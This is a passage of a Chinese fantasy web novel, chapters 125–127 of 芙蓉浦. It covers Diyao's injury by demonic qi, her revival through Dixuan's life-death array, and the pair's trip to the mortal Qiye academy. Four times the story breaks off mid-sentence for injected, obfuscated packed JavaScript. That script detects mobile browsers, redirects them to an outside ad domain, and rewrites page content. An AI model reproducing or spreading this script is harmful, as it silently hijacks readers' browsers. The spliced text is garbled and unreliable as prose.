四海八荒不同种族有高低贵贱之分,九重天上同为仙神也有血脉之争,这天下万物早已被分为三六九等,低贱的生命压根不能与神圣的法器相较。 凰女的这一番话在出生于九重天宫的帝宣听来的确是有些惊世骇俗了。 不过对于这样另类的观点,他觉得自己似乎并不排斥,正欲继续开口时,忽然间一阵大风刮起,紧接着几道黑雾从风中破出,发出尖利的声音在山间冲撞。 “这是何物?”帝宣将帝媱往自己身后一拉,当即祭出法阵。 然而此时的他远远不及与青鸾相遇时那般强大,法阵在黑雾一下又一下的撞击中摇摇欲坠,很快便濒临破碎。 火焰在这时燃起,刺破了黑暗,照亮了帝宣的眼眸。 法阵的光芒破碎消逝的一瞬间,灼灼火焰立起一道屏障,将帝宣二人团团围住。凰女则立于火阵之外,双手结印召出一道冰凰虚影。 蓝色的冰凰与红色的火焰在皑皑雪山间显得那样夺目,它们将黑雾碾碎的同时,生长在万丈峭壁间的冰莲似乎也有所感应,天边传来一道钟声,紧接着柔和的光芒从天而至,笼罩在众人身上。 破碎为尘的黑雾在光芒中消融,它们在彻底消失前做出最后的挣扎,发出类似哭号的尖锐声响。 狂风骤降,凰女与帝宣同时布阵护住这片山脉。 随着黑雾的消散,凰女方才释放出的那些火焰也随风而散,然而她红色的裙摆仍旧在风中张扬,给帝宣一种她仍在火海当中的错觉。 风掀开了她覆在脸上的薄纱,帝宣仰起头,看见了她的面容。 可惜青鸾并没能透过帝宣的注视瞧见凰女真容。 便在帝宣眸中清晰地倒映出那抹红色身影时,整个幻境瞬间充斥着白光。 即便是在幻境之中,即便眼前的景象只是始祖之息复刻的帝宣记忆,青鸾却似乎仍然能够隔着千百年光阴,感受到帝宣精神的波动。 这一股波动扰乱了整片空间,形成了破碎的时空漩涡,等到始祖之息将幻境恢复时,青鸾眼前所见仍然是那片昆仑雪山。 只是时间明显已经往前流淌了一大截。 此时幻境之中已经没有凰女的身影,只有帝宣与帝媱两个人立于峭壁之下。 有趣的是,已在幻境当中出现过两次的黑雾于此时再次出现。 它们缭绕在二人周围,仿佛活物伺机而动,似乎想要将他们一口吞入腹中。 如此僵持片刻后,黑雾犹如蛇尾朝着他们一甩,帝宣在它发动攻击的瞬间布下法阵,帝媱则抬手护住了脚侧的那朵小花。 他们原本是来赴百年一次的瑶池宴会,顺便前往此地瞧一瞧当年种下的小花是否启了灵智,却没想到又一次遭遇了魔气袭击。 自从上次在昆仑被黑雾侵扰后,帝宣回到九重天便开始查阅相关籍册,最后确认那些发出尖啸声攻击他们的黑雾便是传说中的魔气。 魔可以说是四海八荒人人闻之色变的生物。 它们与人们习惯并列而谈的妖物有所不同。 妖虽然在人们眼中低劣不堪,且因血脉之故难以修成正果,被各路修仙之人所不齿。但好歹他们是天地自然孕育而生,总归属于天下众生一脉。 魔便不同了。 最早的一缕魔气,也就是传说中的魔族始祖,是因人的贪嗔痴怨而生。 它并非在世间化育而成,而是因着人的各种负面执念形成的不祥之物。 所以在众人眼中它们未启灵智,连生灵都算不上。 也正因如此,魔物比妖族还难与人共情,它们没有情绪,也无感官,只会凭借着杀戮的本能行事。 妖族在世间尚有一席之地,譬如华胥世代将捉妖奉为修行之道,却到底不能将妖族赶尽杀绝。 但魔物便算得上是人人得而诛之了。 亿万年来各族修者也的确是如此做的。 不知多少年的漫长岁月里,仙神与妖族人族之间纷争不断,但他们在面对魔物侵袭时总能空前一致,无论各族之间有何血海深仇,都能暂时止戈一致对抗魔族。 传闻亿万年前也有魔族盛行的时代,但它们最后的辉煌止于传说中那位能够徒手撕裂虚空的人族大帝。 在那场人与魔的传世之战中,人族大帝消灭了魔族始祖,自此以后世间再无一缕魔气。 魔族成为了传说里早已消亡的种族。 因此帝宣与帝媱都十分疑惑,昆仑圣地为何三番五次会有魔气出现? 上次在昆仑遭遇魔气袭击后,帝宣曾问过帝台神这个问题,然而帝台神对此否认,说世间根本已无魔族,何以会有魔气。 见帝台神对此三缄其口,帝宣心知从他那里是得不到答案了,于是四处找寻魔族相关书籍,自己在暗地里查访。 他曾考虑过去询问昆仑凰女,或是和她一起探查此事,然而上次之事过去不久,便听闻帝师路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091035|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之遥携她去一方小世界闭关修炼了,他只好就此作罢。 如今百年过去,他的调查毫无进展,就在他快要淡忘此事之时,没想到魔气再次于昆仑现世。 且此次凭空出现的魔气威力似乎比从前更甚。 好在这百年间他突破了瓶颈,修为突飞猛进,否则根本无法抵挡这些魔气的攻击。 不过即便如此,他也只能做到抵挡而已,无法如凰女那般直接将这些魔气击溃。 继续这样耗下去,倘若等不到援兵,待他和帝媱都灵力耗尽,便只有死路一条。 “之前凰女击溃那些魔气之后,冰莲似乎有所异动。”帝媱忽然道:“还记得吗,那次有一道光芒笼罩在我们身上,我能感觉到它的灵力是自冰莲而来。” “昆仑圣物?”帝宣略一思索,立即赞同道:“圣物能够让这些魔气彻底消失,这个推测倒也合理。只是我们非昆仑中人,如何能够启用昆仑圣器?” “我来试试吧。”帝媱凌空而起,衣袂在空中飘扬:“我能够调用世间万物灵气,应当也包括生长于斯的冰莲,你来替我挡住这些魔气的攻击。” 在帝媱释放出灵力与冰莲相互感应之时,帝宣收束了法阵,将绝大多数防御都转移到了帝媱周遭去。 好在情况如他们猜测那般,帝媱当真可以召唤出冰莲的力量,圣洁的光芒在花瓣之间流淌,慢慢舒展开来,随后笼罩了峭壁所在的整片区域。 帝宣趁此机会变幻法阵,将防御转为进攻,原本在圣光笼罩之下四散逃逸的魔气被帝宣施展出的法阵所禁锢,逐渐在光芒中消亡。 喘了口气,两人对视一眼,往另一座山脉的瑶池飞去。 瑶池宴会还未结束,焕鸢夫人还在席间,他们得去保护母亲。 抵达瑶池之后方才惊觉,此处的魔气比他们方才所在之地严重多了。 好在参宴者实力最低也是一方山神,不至于被这些突然出现的魔气打个措手不及。 不过场面仍旧变得无比混乱,两人一边抵挡魔气的侵袭,一边越过人群寻找母亲。 便在这时帝骁从人群中杀出,他奉天君之命镇压魔气,率领一众神君布下伏魔大阵,以他为中心的阵眼霎时间光芒大作,格外耀眼。 帝媱也一眼望见了他,不过她目光所及倒不是帝骁此刻如何耀眼,而是瞧见一道魔气绕过众人视线,如一尾游鱼摇曳进法阵中央,悄悄逼近帝骁,而帝骁此刻正在专心带领众人布阵,并未察觉到这一缕魔气的靠近。 帝媱感受到那缕魔气有灵力波动,似乎是启了灵智的。 在伏魔大阵初成的一瞬间,那缕魔气朝帝骁心口袭去,与此同时帝媱飞身而起,掠至帝骁身后,拂袖挡下了那魔气的致命一击。 一切发生得太快,她来不及思考为何传闻中只具有杀戮本能的魔气会给她开启了灵智能够思考的感觉,也来不及提示正在布阵的帝骁躲避身后魔气的偷袭。 她以为凭借自己足以挡下那缕魔气,却没想到她那拂袖一挡只是减缓了它进攻的速度。 在帝宣近乎撕心裂肺的呼唤声中,她被魔气击中了心脏,瞬间失了力气,轻飘飘向下坠去。 125. 芙蓉浦 伏魔大阵已成,千万道光芒如密集丝线织成一张牢不可破的网,将魔气尽数吸走。 黑色的魔气与白色的圣光缭绕在昆仑之境,帝媱一袭白衣向下坠落犹如一尾轻羽。 位于阵眼中心的帝骁在魔气的尖啸声与帝宣的呼唤声中回头,布阵的手微微一颤。 他紧皱着眉头,克制住想要俯身接住帝媱的冲动,双手结印催动伏魔大阵,以圣光织就的网瞬间转动起来,将被吸附于此的魔气尽数碾碎。 与此同时帝宣以惊人的速度飞身而来闯入法阵之中,伸出双臂接住帝媱。 帝媱软绵绵地落入帝宣怀中,歪着脑袋靠在他的胸膛。 帝宣的心脏从来没有跳动得如此之快过,他似乎是第一次感受到令人窒息的心慌,抱着帝媱落地之后一时愣在原处不知所措。 此刻整座昆仑都已经安静下来,只偶尔有几缕山风吹过,拂动着帝媱的发丝。 帝骁凭借伏魔大阵将魔气尽数镇压之后,匆匆赶到二人面前,抬手抚上帝媱心脏,施术暂时替她遏制住心脉间的魔气。 经历了这一系列的变故,他的表情仍然算得上冷静,但微颤的声音还是暴露出他此刻的紧张:“我虽能暂时遏制住魔气,却不能将它从她的心脉中驱逐,现在立即带她去九重天面见天君,兴许还有救。” 来不及寻找焕鸢夫人,也来不及知会帝台神,两人带着帝媱直接往九重天宫而去。 恢复冷静之后帝宣心中了然,帝媱也是天君之孙,且她是在镇压昆仑魔气的过程中受了重伤,天君一定会想尽办法相救。若是连天君都没有办法,那这世间便再无人能救她了。 将帝媱送至天宫后,天君听闻她是在昆仑被魔气所伤,当即闭关亲自为她疗伤。 焕鸢夫人得知此事,一时急火攻心卧床不起,帝台神不得不留在府邸中照料她。 因此帝媱疗伤期间,便是帝宣与帝骁二人守在天宫外寸步不离。 旁人眼中一向不和的两位神君此时倒是为了同一个人暂时止戈。 他们沉默地在帝媱疗伤的宫外守了整整一月,等到的却是帝媱陷入沉睡可能永远无法醒来的噩耗。 天君告诉他们,他已将帝媱心脉间的魔气驱逐,然而她的心脏已经受了魔气侵染,难以恢复生机。 “炼化各种珍贵灵药,辅以灵气护她心脉,或许能为她吊一口气。”将陷入沉睡的帝媱送回帝台府邸,帝骁难得耐下性子用商量的语气对帝宣道:“帝台神想来不缺珍稀灵药,我每月也会亲自送来,为她输送灵气保护心脉。” “至于如何才能助她恢复生机,只能另想他法了。” 帝宣心急如焚,早已失了往日镇静,他没有想到最后竟然会是这样的结果。 连天君都无计可施,他们还能寻到什么办法呢? 若说这世上还有谁的神力更在天君之上……他蓦然想到一个人:“帝师路之遥,以他的能力会不会有唤醒阿媱生机之法?” “或许有吧。”帝骁道:“但是帝师此时正在闭关教导昆仑凰女,他一旦进入小世界中闭关修炼,短则几年长则数百年不会出关,想来我们是等不了他的。” 提到昆仑凰女时,帝骁语气微滞。 那位被西王母钦点为接班人且从不轻易踏出昆仑的凰女一直活在各种传闻中。 传闻她自昆仑圣物万古冰莲中化育而生,其心脏纯净若琉璃,又传闻她觉醒了传说中的心火,有心火加持的心脏必然极富生机与力量。 他脑海中闪过一瞬大胆的想法,不过很快这个想法便被他自己否决。 如今帝媱的情况还没有那般严重,虽然她陷入了沉睡,但身体尚未完全失去生机,倒也并非全无恢复之法。 况且凰女此时正与帝师一同闭关,即便他想铤而走险,成功的几率也是微乎其微。 “她的心脉需要每日以灵力滋养,不得中断。”微不可闻地叹了口气,帝骁皱着眉头转身离开:“我会继续寻找助她恢复心脉生机的方法。” 自从帝媱在昆仑出事之后,阴云始终笼罩在帝台府邸。 府中再也没有了往日的欢声笑语。 焕鸢夫人每日以泪洗面,常常枯坐在帝媱床畔,一坐便是好几个时辰。即便帝媱一直在沉睡之中,无法对她有任何回应,她也仍然每天都同女儿絮絮说上许久的话,仿佛如此便能催得帝媱醒来。 帝台神则与之相反,他刻意地不靠近帝媱寝殿,似乎仍不能接受他的阿媱也许会永远陷入沉睡的事实。人人都说他变得比从前更严肃了,终年紧绷的唇角再也看不见一丝笑容。 府中唯有帝宣看起来一切如常,他像从前一般侍奉父母,潜心修炼,唯一的变化就是以前他将自己关在隐书楼中是寻找修炼相关的籍册,而现在他将自己关在书阁,一心只为了寻觅恢复帝媱生机之法。 时间就这样过去,他们没能寻到方法,帝媱的情况似乎一天比一天糟糕。 幻境之中,帝宣长久地立在帝媱床畔,目睹着这一幕的青鸾不禁跟他一起皱起了眉。 紧闭着双眼躺在榻上的帝媱脸色惨白、嘴唇乌青,再也不复往日明眸善睐,她好像一朵盛开的花儿骤然被寒霜摧残压断腰肢,失去了活力。 帝宣注视了她许久,缓缓俯身握住她的手。 一滴泪坠落在她额间,帝宣微微垂首,眼眶发红。 仙侍在这时前来通传,武罗神君来府中拜访,此刻正候在花厅之中。 帝宣温柔地将帝媱冰凉的手放回被中,起身平复情绪后沉着脸往花厅去。 无论如何帝媱是因帝骁才会重伤至此,每次面对帝骁他都难明自己心情。 对于这个同父异母的兄弟,他其实一直都不知道该以什么样的心情去面对他。 想来帝骁也是如此。 往日两人在九重天宫都会默契地避开彼此,若非因为帝媱的伤,帝骁绝不会如此频繁地出入帝台府邸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095415|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 见到帝宣之后,他倒也没有多言,直接进入正题:“我前日在天君处见到一本古籍,其中记载了一个上古阵法,名曰生灭大阵。” 帝宣闻言眉心一动:“这段时间我也在翻阅各类古籍,了解到有些阵法的确能助人恢复生机,只不过我还未寻到有此功效的布阵之法。” 生灭大阵……听起来似乎便是他正在苦苦寻觅的能够恢复生机之阵。 帝骁接下来的话肯定了他的猜测:“阿媱的情况十分罕见,非寻常药物可医,恐怕唯有传闻中还魂复生的法阵能够助她恢复生机。这段时间我一直在寻觅此种阵法,总算是有所收获。” 他翻手亮出一页残篇:“古籍记载此阵其实为阴阳双阵,阴之极为纯粹的灭阵,阳之极则为纯粹的生阵,若阴阳相合则为完整的生灭大阵。只是此阵法流传至今只剩一页残篇,其中只记载了阴阳相合之法,如何才能布下纯粹的生阵便不得而知了。” 帝宣蹙眉接过残篇:“可若要恢复阿媱生机,恐怕唯有布下那纯粹的生阵才行。” “我也是如此猜想。”帝骁颔首:“我是最近才开始钻研法阵,而你研究法阵之术远早于我。今日我将这残篇交予你,也许你能有所悟,寻到布下生阵之法。” 帝宣垂首细细观察手中残篇,眉间忧虑不散。 青鸾终于知晓向来以剑术著称的帝骁何以会精通布阵,原来他是从这个时候开始研究法阵之术的。 同时她还很惊讶,原来帝宣在那样早的时候便开始琢磨如何从生灭大阵中提炼纯粹的生阵之法了。 只是那时的他并没能钻研出可行之法,他几乎不吃不喝将自己关在水榭几个月,最终也只能在根据残篇布下生灭之阵时无限放大此阵阳之一面,极力压制阴面,尽力将生阵之效发挥到最大。 闭关研究阵法的这几个月,他不许任何人进入水榭之中,也就无人得知他到底失败了多少次,这些失败又给他带来了多大的打击。 最后还是焕鸢夫人强行闯入水榭,一把抱住将自己折磨得面色苍白的帝宣。 她哭着道:“阿媱已经沉睡不醒,宣儿,我不能再失去你了。不要再这样折磨自己了好不好?你这是要心疼死娘亲啊……” 帝宣掌心仍旧残留着布阵时的微光,他注视着自己的双手,目光颤抖:“母亲,是我没有保护好阿媱,我眼睁睁看着魔气侵入她的心脏……” 帝媱陷入沉睡的这段时间,他在帝台神和焕鸢夫人面前伪装得很好,从未向外宣泄过自己的情绪。 可是此时分明已经寻到了帮助帝媱恢复生机之法,他却无论如何也无法根据残篇推衍出纯粹生阵。希望近在眼前,可他第一次觉得自己如此无能。 他已经快要被满腔的愧疚压倒了。 焕鸢夫人紧紧地抱着他:“阿媱出事如何能够怪你?宣儿,不要再自责了。况且母亲知道,你为了研究生阵已经拼尽全力,我相信阿媱她也不会怪你的。” 126. 芙蓉浦 帝宣听到焕鸢夫人如此说,终于从恍惚中回过神来:“母亲,我真的没有办法了,我能做到的只有将生灭之阵中阳之一面的力量无限放大,却做不到将这阴阳双阵变为纯粹的生阵。” 在唤醒帝媱这件事上,他们没有一个人敢让她承受哪怕一丝一毫的风险。 所以帝宣才会如此崩溃,他做不到布下纯粹的生阵,若将此阵用在帝媱身上,便是在让她面临布阵失败遭遇反噬的危险。 焕鸢夫人红着眼睛抬起头来,她在长久的沉默中做下一个决定:“宣儿,试试吧。” 话音还未落地,她便捂住嘴痛哭失声:“我知道这是唯一可能唤醒她的方法了,我们没有别的选择。我实在是不想看着她这样无知无觉地躺在床上,这简直比杀了我还要难受……” 帝宣怔了怔,然后点了点头。 这的确是他们唯一的办法了。 直到在帝媱的心脏种下生灭之阵时,他的手都在微微颤抖。 这个将生阵力量无限放大,但仍旧带着一缕足以毁灭世间万物之力的生灭之阵,极有可能吞噬帝媱最后一抹被他们以灵力和仙药滋养着的生机。 为了不干扰帝宣布阵,所有人都候在殿外。帝台神和焕鸢夫人寸步不离地守在门口,帝媱的贴身近侍也候在殿前,祈祷着帝媱能够苏醒过来。 帝宣独自守在帝媱榻前,专注地凝视着她沉睡的面庞。 他从小和帝媱一起长大,这还是他头一次见到她如此安静。 安静得令他心疼。 生灭之阵已经布下,它被置于帝媱心脏中,静静地旋转着,慢慢释放出能量。 到底是成功还是失败,便看今日了。 注视着这一幕的青鸾也屏住了呼吸。 她不禁开始猜测,难道他们失败了,帝媱遭到了生灭之阵的反噬,因此失去最后一抹生机,这才被帝骁封印在了上古神棺之中,才有了后来的这些事? 想来这一日对于帝台府邸中的所有人来说都格外漫长,但是对于幻境中的青鸾而言,难熬的等待时光不过一瞬而已。 真实情况并不像她猜测的那般,次日,在众人的期盼之中,帝媱醒了过来。 自从她陷入沉睡之后便终日以泪洗面的焕鸢夫人再次喜极而泣,她的眼睛早已被无穷无尽的泪水浸泡得红肿,瞧来十分沧桑。 帝媱醒来之后的第一件事便是抬手抚摸母亲的脸颊。 她刚刚苏醒,身体尚未真正恢复,种在她心脏上的生灭之阵散发出无形的力量,正在她的心脉之间游走。 替母亲拭去脸上的泪痕后,她转首望向同样守在榻前的父兄。 一向冷峻的帝台神此时眼中也泛着泪光,帝宣便更不必说了。 他此时的形象简直比焕鸢夫人还要沧桑。 帝媱从未见过帝宣如此失态的模样,一时又是心疼,又觉好笑。 她费力地扬起唇角,目光中也流露出笑意。 见到帝媱笑了,守在她身侧的几人才算是真正松了口气,将终日悬着的心放了下来。 此后很长一段时间,帝宣每日都会来检查帝媱心脏中法阵的情况,好在那法阵虽然不是最完美的生阵,保留了一抹令人担忧的阴之力,但是运行得还算妥当,始终在帝媱心脉间缓缓流淌,释放着生生不息的力量。 那力量不仅唤醒了帝媱,给她的身体重新带来生机,甚至还让她的修为更上一层。 帝宣一直都很担心的反噬并没有发生,法阵中源源不绝的生之力与那一抹足以剥夺万物生机的毁灭之力似乎维持着某种微妙的平衡。 不知是不是这个法阵助力,帝媱在修炼时总觉得比从前轻松许多,往往事半功倍。 然而尽管她已经完全恢复,甚至因祸得福修为更甚从前,帝台神和焕鸢夫人仍旧对昆仑之事心有余悸。 伤好之后帝媱便被禁止出府,焕鸢夫人甚至不许她离开她的视线太久,生怕她再受到一点伤害。 帝宣待帝媱彻底痊愈后则开始逐渐参与到帝台神负责的各项事务中,有时候还需要下凡历练,他同帝媱待在一起的时间反而变得少了。 不过每次归来见过父母之后,他第一时间便会去寻帝媱,将他搜罗来的话本子和凡间的新奇物件儿交给她。 帝媱在府中被关得太久,实在无聊得很。她常常可怜巴巴地守在帝宣院中等着他从凡间归来,见到他带回来的新鲜玩意儿总能开心很久。 帝宣心知父母不许帝媱出府是因为上次之事令他们感到后怕,只有让她一直待在家人身边才能万无一失护她周全。 帝媱自然也很清楚父母是怎么想的,因此她被关在府中不得自由也从未有过抱怨。 但帝宣总还是忍不住心疼她。 帝媱从小活泼好动,将她没日没夜地关在府中,实在是很委屈她的。因此每一次从凡间归来,除了给她带回一些新鲜玩意儿外,他还会从处理公务和修炼之余挤出许多的时间,这些时间便是专属于帝媱的。 兄妹二人会像小时候一样并肩坐在水榭里,有一搭没一搭地说着话。帝宣会将他在凡间遇见的有趣事儿讲给她听,也会耐心地回答帝媱各种各样的问题。 如此又过了一段时间,听闻凡间有一个名曰其野学宫的学院,其中有一位院长即将功德圆满飞升成仙。 帝台神司天下礼乐之职,四海八荒神籍仙班皆由他造册登记,像这种因功德圆满而飞升成仙的,还需要在她飞升之前考察其生平功绩,确定无误后才能引她入仙宫登仙籍。因着此人乃肉体凡胎飞升成仙,九重天宫并不十分重视,帝台神便将考察功绩并登记造册之事交给了帝宣。 虽然凡人飞升不受九重天上的这些神君重视,但是考察凡人生平功绩是所有人公认最麻烦的一件事。 凡人生命短暂,但在他们所生活的凡间却又算得漫长。考察功绩的神君需要入凡待上好几年,既观其过往生平,又考察其临近飞升之际是否道心稳固,而在此期间他们所感知到的时间流速与凡人是一致的。 须知不同的凡域时间流逝的速度并不一样,有些地方是天上一天人间一年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099620|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有的地方时间流逝得更快,往往人间已过三五年,九重天上却只过去了半日时光。 帝宣此次要去的其野学宫便位于一处时间流速极快的凡域,出发前他估摸着此次至少要在凡间待够五年,不过好在彼时九重天只过去半日,不会让帝媱在府中等他太久。 却没想到等他完成任务再回九重天时,竟听到了天君赐婚于帝媱和帝骁的消息。 天君这一次赐婚在旁人看来有些摸不着头脑,但其实他自有一番很完整的逻辑。 此前帝媱曾在昆仑对帝骁舍命相救,天君以为即便她不是出于爱慕之意,这两人之间也一定有情分在,自己此番并不是在乱点鸳鸯谱。 更重要的是,帝骁是他最为看好的孙儿,他自然要挑一个将来可以为他助力的神君夫人。 他之所以看中帝媱,不仅仅是看中她对帝骁的感情,更看中了她背后母族的力量。 毕竟焕鸢夫人出自上古仙族,其女背后自然也有此依靠。 无论是家世背景,还是容貌品性,帝媱都算是上上人选。 得到天君赐婚的消息后,最喜不自胜之人当属帝凌,他立即亲至帝台府邸,极言两家联姻之好处,可谓亲上加亲云云。 因这门亲事乃是天君亲赐,帝台府邸自是往来恭贺不绝,一时十分热闹。 帝宣前脚刚回府中,后脚便要同焕鸢夫人一起应付那些前来道贺之人,忙活了大半日才算是闲了下来。 送走那些道贺之人后他第一时间去寻帝媱。 本该休息的时辰,帝媱却不在她的寝殿中,帝宣又寻去了他们平日常待的水榭,仍然没有看到她的身影。 询问她的贴身近侍,她们也只是说帝媱在听到天君赐婚的消息后便闷闷不乐地离开寝殿了,说是要到院子里散散心,不许她们跟着。 帝宣又在府中找了一圈,最后却是在自己院子里看到了趴在石桌上的帝媱。 她不知在这里趴了多久,困倦地闭上眼睛睡了过去,帝宣上前,脱下自己的外袍轻轻披在她的身上。 她睡得很浅,尽管帝宣的动作很轻,却还是惊醒了她。 她抬起头来望向帝宣,眼睛红红的显然是哭过一场:“你终于回来啦。” 顿了顿,她问帝宣:“这次去的凡域好玩儿吗?” 帝宣替她拢了拢披在肩上的外袍,然后在她对面坐下:“我这次去了一座学宫,它的名字很有意思,唤作其野。学宫里教授的东西也很有意思,奇门遁甲,五行八卦,兵法阵法……似乎是什么都教。另外,这座学宫中的弟子皆是女子,倒也稀奇。” 帝媱支着脑袋安静地听着,眼中满是向往。 她突然问:“可以带我去瞧瞧吗?” 问出这句话后,她在帝宣略有些诧异的目光中垂下了头,声音有些沙哑:“我不想再被关在府中了,也不想总是从话本子里想象人间风光万家烟火……” 说到这里她声音一滞,将没有说完的话咽了回去。 但帝宣心中清楚她没有说出口的话是什么。 127. 芙蓉浦 她想要逃离,哪怕只有一刻也好,她想感受一下真正的自由。 帝宣毫不犹豫答应了她:“我带你去其野学宫吧,现在入凡应该刚好能够赶上她们招生的时间。那处凡域时间流速极快,你便是在那里待上四五年,九重天上也只过去了半日的时光,母亲他们应当不会发现。” “真的吗?你愿意带我去?”帝媱一下子站了起来,原本弥漫在眼中的雾气也尽数散开。 可是很快她又露出担心的表情:“虽说不大容易被发现,但还是有被察觉的风险,若是让母亲知道你私自带我入凡,她一定会生气的,而且父亲他肯定会惩罚你,我、我……” “我都答应带你入凡了,你可不能打退堂鼓。”帝宣眼中带着笑意:“就算被发现了也没关系,大不了我也被父亲禁足。一顿惩罚换来你在凡域开心几年,我觉得很值得。” 帝媱被关在仙府中的这段时间全靠着帝宣从凡间给她捎回来的话本子解闷,她早就对话本里充满烟火气的人间倍感兴趣。 只是如今父母并不许她出门,她根本没有机会入凡。 其实即便尚未禁足时,她也是不能随意出入凡间的。 作为九重天上家世最为显赫的女仙,不知有多少双眼睛在盯着她,早在她还未成年时母亲便叮嘱过她,她不能单独出府,若要出去必得随父母或是兄长一起。他们将她管束得如此之严,是断断不可能允许她私自入凡的。 之所以将这么多的规矩压在她身上,无外乎便是因为她的家世。 这样的身份,又是女仙,一不小心便会被毁了清誉。 不知有多少人盯着她的行踪,意图诱得世家小姐芳心暗许,就此攀上高枝,这一点天上人间并无太大差别。 因此帝媱万没有想到,帝宣会这么干脆地答应她的请求。 她一时有些紧张:“可是、可是就算学宫招生,也未必会招我进去。” 她抓住帝宣的袖子问:“我该做些什么准备呢?学宫招纳新生的条件是什么?” 帝宣知她第一次入凡难免心中忐忑,耐心地解答着她的疑问,温柔地鼓励她:“据我所知,其野学宫的招生条件只有两个。” “第一个条件比较简单,她们自有一套考核标准,用以检验新生是否对自己所选择的那门学问足够坚定。用学宫创始人的话来说,唯有心中的信念足够坚定,才会对自己所行之事足够忠诚。忠于自己,不言放弃,这便是能够进入学宫的第一个条件。” “至于第二个条件……”帝宣笑了笑:“对你来说就更简单了。其野学宫广收天下女弟子,不管年纪大小,不论身分贵贱。与此同时这其实也是一个限制条件。” “她们只收女子。” 听闻这个学宫只收女子,帝媱的好奇心攀至巅峰:“听起来进入学宫的条件还是很简单的嘛……” 帝宣又道:“但每年报名之人不下十万之众,最终录取进入学宫的差不多只有一两万人。” 帝媱讶异地张了张嘴:“录取人数只有十分之一?这是为何?进入学宫的条件不是很简单吗?” 不拼天赋,不拼家世,可以说根本没有什么门槛了。 为何每年还会刷下来这么多人? “因为这世上有天赋者众多,有家世背景者更多,但是能够对心中信念坚定不移之人很少,能够永远忠于自己的人更少。”帝宣回忆着那位得道飞升的院长在新生会上讲的话:“这个世界加诸在女子身上的枷锁束缚何其多,作为一个女子,这一生所要面临的艰险困境以及障碍阻挠又是何其多。如不能心怀一腔上刀山下火海亦不能阻其前进的坚定信念,那么往往在面临旁人甚至身边亲近之人的阻挠时,很容易便会放弃自己毕生所系的事业。” “学宫筛选掉这些人,是不忍看她们费尽心血培养出的孩子最终又回到天下女子无限轮回的宿命里。” 帝媱听得呆住了。 过了许久,她才喃喃地道:“可是别说上刀山下火海亦不能阻我前进的信念了,我连自己真正想做什么都不知道。” 说到这里她猛然惊觉,她好像从来没有思考过自己喜欢什么,想做什么。 自小除了修炼之外,大多数时间她都是跟在母亲身边,学她料理仙府事务,跟她一起处理人情往来。 这便是方才帝宣所说的天下女子无限轮回的宿命么? 她觉得自己有了一点了悟。 “没关系的,有很多人都像你一样,在进入学宫之前压根不知道自己热爱什么,想做什么。”帝宣温声安抚她:“在进行考核之前,大家可以分批次进入学宫观摩接触自己感兴趣的课程,同时学宫还会组织活动帮助你们筛选自己天赋擅长之事。” 提到天赋与爱好,帝宣根据自己在学宫多年的观察补充道:“但其实有很多新生选择的课程并不是自己天赋所在,比起天生擅长之事,她们似乎更愿意选择那些让她们感兴趣,能够让她们萌生热情的课程。” 帝媱听得津津有味:“所以有时候擅长之事并不一定是自己感兴趣的,而能让自己萌发出热情的事也不一定是天赋所在。” 她抬头望向帝宣,冲他眨了眨眼睛:“就像你天生擅长修习剑术,爹爹也一直希望你能利用好自己的天赋,于剑术一道学有所成。” 轻轻叹了口气,她再次露出了悟的表情:“可是你真正感兴趣的是法阵之术,这些年来能让你始终如一潜心钻研的,也只有各种阵法了。” 帝宣点了点头:“的确如此,沉浸在自己真正热爱的事物中是很幸福的。所以阿媱,我也希望此行你能寻找到自己的热爱所在。” 说着,他轻轻牵起帝媱的手,布下一个可直通凡域的转移之阵。 但见周遭白光一闪,眨眼之间他们便离开了九重天宫,来到了帝媱心心念念的凡间。 帝媱微微睁大了眼,一边感叹帝宣的布阵之术真是越来越精妙了,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104177|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震撼地注视着矗立在她面前的其野学宫。 层层叠叠的殿宇屋檐犹如连绵起伏的山峦,一直蔓延到了视线的尽头处。 